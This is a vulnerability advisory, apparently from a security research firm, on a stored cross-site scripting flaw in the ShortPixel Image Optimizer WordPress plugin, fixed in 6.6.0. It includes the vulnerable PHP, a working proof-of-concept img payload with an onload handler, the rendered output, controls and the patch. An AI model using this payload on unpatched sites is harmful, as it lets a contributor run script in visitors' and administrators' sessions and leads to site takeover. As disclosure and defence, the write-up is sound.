CVE-2026-103070 The tag that was safe until the plugin rewrote it in ShortPixel
Intrudify's autonomous pentesting engine discovered a stored cross-site scripting vulnerability in ShortPixel Image Optimizer, affecting all versions up to and including 6.5.6. A Contributor stores an image tag that is inert in the database, and the plugin's WebP delivery rewrite decodes an entity inside it and re-emits the src without escaping. Fixed in 6.6.0.
Summary
ShortPixel optimises images on about 300,000 WordPress sites. One of its features serves WebP and AVIF versions by rewriting the page: it finds each <img> tag, parses it, and wraps it in a <picture> element pointing at the smaller file.
The rebuild escapes every attribute it emits with esc_attr(), except one. src is concatenated straight into the output.
That would be harmless if src still held what was in the database. It does not. The tag is parsed with DOMDocument, which decodes HTML entities, as a parser should. So a " written inside the stored src arrives in PHP as a real quote character, and printing it unescaped ends the attribute.
wp_kses keeps that entity. img and src are allowed for every role, " is an allowed entity name, and data-* is allowed globally. What the Contributor stores is a broken image URL and nothing more. It becomes executable markup only when ShortPixel rewrites it.
Technical detail
Six attributes escaped, and one not
// class/Model/FrontImage.php, ShortPixel 6.5.6
public function buildImage() // line 287
{
$src = $this->src;
$output = '<img src="' . $src . '" '; // line 290
// Get this from set attributes on class.
$attrs = array( 'id', 'height', 'width', 'srcset', 'sizes', 'class' );
foreach ( $attrs as $attr ) {
if ( ! is_null( $this->{$attr} ) ) {
$output .= $attr . '="' . esc_attr( $this->{$attr} ) . '" '; // 296
}
}
$output .= 'alt="' . esc_attr( $this->alt ) . '" ';
...
}
// six attributes and alt go through esc_attr(). src does not.
// buildSource() has the same gap for sizes (line 279) and srcset (282).The loop is the tell. Somebody wrote esc_attr() deliberately, for every attribute in a named list, and src is handled on its own line above the loop where the pattern does not reach it.
Where the quote comes back
// the same file, loadImageDom(), lines 95 to 106
foreach ( $image->attributes as $attr ) {
if ( strlen( $attr->nodeValue ) == 0 )
continue;
if ( property_exists( $this, $attr->nodeName ) ) {
$this->{$attr->nodeName} = $attr->nodeValue; // line 102
}
$this->attributes[ $attr->nodeName ] = $attr->nodeValue; // line 105
}
// DOMDocument hands back the DECODED attribute value, which is
// correct for a parser. a " stored in the tag becomes a real
// quote character in $this->src, and line 290 prints it as-is.DOMDocument is doing exactly its job. An attribute value in HTML is entity-encoded, and a parser hands back the decoded text. The defect is the round trip: decoded on the way in, printed raw on the way out.
Why a Contributor reaches it
The payload needs no tag, no script and no event-handler attribute in what is stored. It needs one entity inside a src value, which wp_kses has no reason to touch. The data-src copy is there so the plugin's own WebP lookup still finds the real file, which is what makes the rewrite fire on a URL that is otherwise broken.
Verification
WordPress 7.1.3, PHP 8.3, ShortPixel 6.5.6, default theme, on http://127.0.0.1:8511. WebP delivery set to altering the page code, which is the plugin's own setting, and one image in the media library with a .webp sibling beside it, which is the ordinary state once WebP is enabled.
# stored over HTTP as the Contributor, through the REST API
principal: contrib ['contributor'] | unfiltered_html=False
<img src="http://TARGET/wp-content/uploads/2026/10/photo.jpg"
onload=alert(document.domain) x=".jpg"
data-src="http://TARGET/wp-content/uploads/2026/10/photo.jpg">
kept by wp_kses byte for byte: True
# nothing here is tag-shaped. img and src are allowed for every role,
# " is in $allowedentitynames, and data-* is allowed globally.
# what is stored is a broken image URL and nothing else.What the published post serves
// served to an anonymous visitor once the post is published
<picture><source data-srcset=".../photo.webp " type="image/webp">
<img src="http://127.0.0.1:8511/wp-content/uploads/2026/10/photo.jpg"
onload=alert(document.domain) x=".jpg"
class=" sp-no-webp" alt="" decoding="async">
</picture>
// as the browser parsed it, attribute by attribute:
src="http://127.0.0.1:8511/wp-content/uploads/2026/10/photo.jpg"
onload="alert(document.domain)"
x=".jpg" | class=" sp-no-webp" | alt="" | decoding="async"
cookies: 0 dialogs: 1 message: 127.0.0.1The browser's own attribute list is the evidence worth reading. onload is a separate attribute with its own value, where the stored tag had it inside a quoted URL.
Two controls
# control A: the same image, same author, same path, no entity
[6.5.6] <picture> emitted : yes
dialogs : 0
parsed attributes: src, class=" sp-no-webp", alt, decoding
# the rewrite runs and inserts nothing. the entity is the payload.
# control B: the same payload post, WebP delivery switched off
[6.5.6] dialogs: 0
parsed attributes:
src="http://.../photo.jpg\" onload=alert(document.domain) x=\".jpg"
data-src="http://.../photo.jpg"
# the whole payload is ONE attribute value. untouched, it is inert.
# instrument control, before every run
# data:text/html,<script>alert('instrument-control')</script> -> 1 dialogControl B is the one that makes the finding what it is. With the plugin's rewrite switched off, the browser reports the entire payload as a single src value, quotes and all. The stored content is genuinely inert and it stays inert until something decodes it and prints it again.
6.6.0
// ShortPixel 6.6.0, same lab, the same two published posts
[6.6.0 payload post] <picture> emitted: yes
dialogs: 0
src="http://.../photo.jpg\" onload=alert(document.domain)
x=\".jpg" // back inside the attribute
[6.6.0 control post] <picture> emitted: yes
dialogs: 0
src="http://.../photo.jpg" | data-src=... | alt=""
// the rewrite still runs on both. that is the half worth checking:
// a rewriter that stopped rewriting would also score zero dialogs. Impact
Contributor is the lowest WordPress role that can author content, handed to guest writers, volunteers and agency staff. The assumption behind that is that wp_kses bounds what such a user can put on a page, and here it does: what reaches the database carries no tag and no handler.
The review step gives no signal either. An editor looking at the submission sees an image tag with a slightly odd URL, and the preview renders a broken image. The payload becomes markup at render time, on the published page.
From then on the script runs for every visitor who opens the post, logged out included, in the site's own origin. That was measured with zero cookies in the browser. An administrator who opens the published post on the front end runs it in their session, where the session cookie and the REST nonce on the page are enough to create a second administrator account or install a plugin, which is PHP of the attacker's choosing on the server.
The precondition is ShortPixel's own WebP or AVIF delivery set to alter the page code, with an optimised image available. That is the configuration the plugin is installed to produce.
Remediation
Update ShortPixel Image Optimizer to 6.6.0 or later.
// ShortPixel 6.6.0, class/Model/FrontImage.php
- $src = $this->src;
- $output = '<img src="' . $src . '" ';
+ // Rebuild by iterating the original attributes in insertion order
+ // so we preserve ordering and any custom/data-* attributes.
+ $output = '<img';
+ foreach ( $this->attributes as $name => $origValue ) {
+ $name = sanitize_text_field( $name );
+ ...
+ // For `src` ensure it's escaped so entities like & are preserved.
+ if ( $name === 'src' ) {
+ $output .= ' src="' . esc_attr( $value ) . '"';
+ continue;
+ }
+ ...
+ }The release rewrites buildImage() to walk the original attributes in order and escape each one, with src handled by the same rule as the rest. The vendor's own comment on that branch is the summary: escape src so entities are preserved.
A site attacked before updating does not need its database cleaned to stop the script. That was measured: the payload is still in the post content and 6.6.0 serves it back inside the src value, where it renders as a broken image and nothing else. The post still contains something its author did not write, so affected posts are worth reviewing.
Sites that cannot update immediately can switch WebP delivery to the htaccess method, which serves the optimised file without rewriting the page. That closes the sink and leaves the stored value where it is, and it changes how images are delivered, so treat it as a stopgap.
The wider lesson
A list of attributes with an escaper applied to each is a good pattern, and it has one failure mode: the item handled outside the list. src was written first, on its own line, before anybody thought about a loop. Every attribute added afterwards inherited the escaping by being added to an array, and the one that predates the array never did. That shape is worth looking for directly: where a function builds output with a loop, read the lines above the loop.
The second thing is the round trip. Content that is safe in storage can become unsafe by being parsed and printed again, because parsing is decoding. This is the second plugin in this research set to turn a stored value live purely by rewriting it, after the background-image rewrite in LazyLoad, and both are performance features. Anything that reads the page back and writes it out again is a second output stage, and it needs the same escaping as the first one.
The useful question for a reviewer: does this code emit markup that something else already escaped. If so, the upstream escaping is already undone by the time the value is in a PHP variable, and this stage owns the problem on its own. The filter that ran at save time cannot help, and neither can the one that runs on the stored content, because by then the value has been through a parser.
Which is also why the stored payload reads as harmless in every review and every scan. The dangerous characters are present as entities, which is their safe form. The plugin converts them to their dangerous form and prints them.
Disclosure timeline
- 2026-09-24 Vulnerability identified and confirmed by Intrudify, reported via Patchstack
- 2026-10-06 Release 6.6.0 published by ShortPixel
- 2026-10-08 Public disclosure by Patchstack, CVE-2026-103070 published
Questions
What is CVE-2026-103070?
CVE-2026-103070 is a stored cross-site scripting vulnerability in ShortPixel Image Optimizer, affecting all versions up to and including 6.5.6. The WebP delivery feature parses each image tag with DOMDocument, which decodes HTML entities, and rebuilds the tag with esc_attr() on every attribute except src. An entity-encoded quote stored inside src therefore ends the attribute when the tag is re-emitted.
Who can exploit CVE-2026-103070?
Any user who can write a post, which means Contributor and above. The stored payload contains no tag, no script and no event-handler attribute, so wp_kses keeps it byte for byte: img and src are allowed for every role, and the HTML entity for a double quote is on WordPress's allowed entity list.
Is the payload dangerous while it sits in the database?
No, and that is what makes it hard to spot. Stored, it is a broken image URL with entity-encoded quotes in it, which is the safe form of those characters. Measured with the plugin's rewrite switched off, the browser reports the whole payload as a single src attribute value and nothing runs. It becomes markup only when ShortPixel decodes and re-emits it.
Does this need a particular setting?
It needs WebP or AVIF delivery set to alter the page code, with an optimised version of the image available, which is the normal state once the feature is enabled. Sites delivering the optimised files through htaccess rules instead do not rewrite the page and are not affected by this path.
How do I fix CVE-2026-103070?
Update ShortPixel Image Optimizer to 6.6.0 or later. That release rebuilds the image tag by walking its original attributes and escaping each one, src included. A payload already stored in post content is rendered harmless without any cleanup, though the affected posts are still worth reviewing.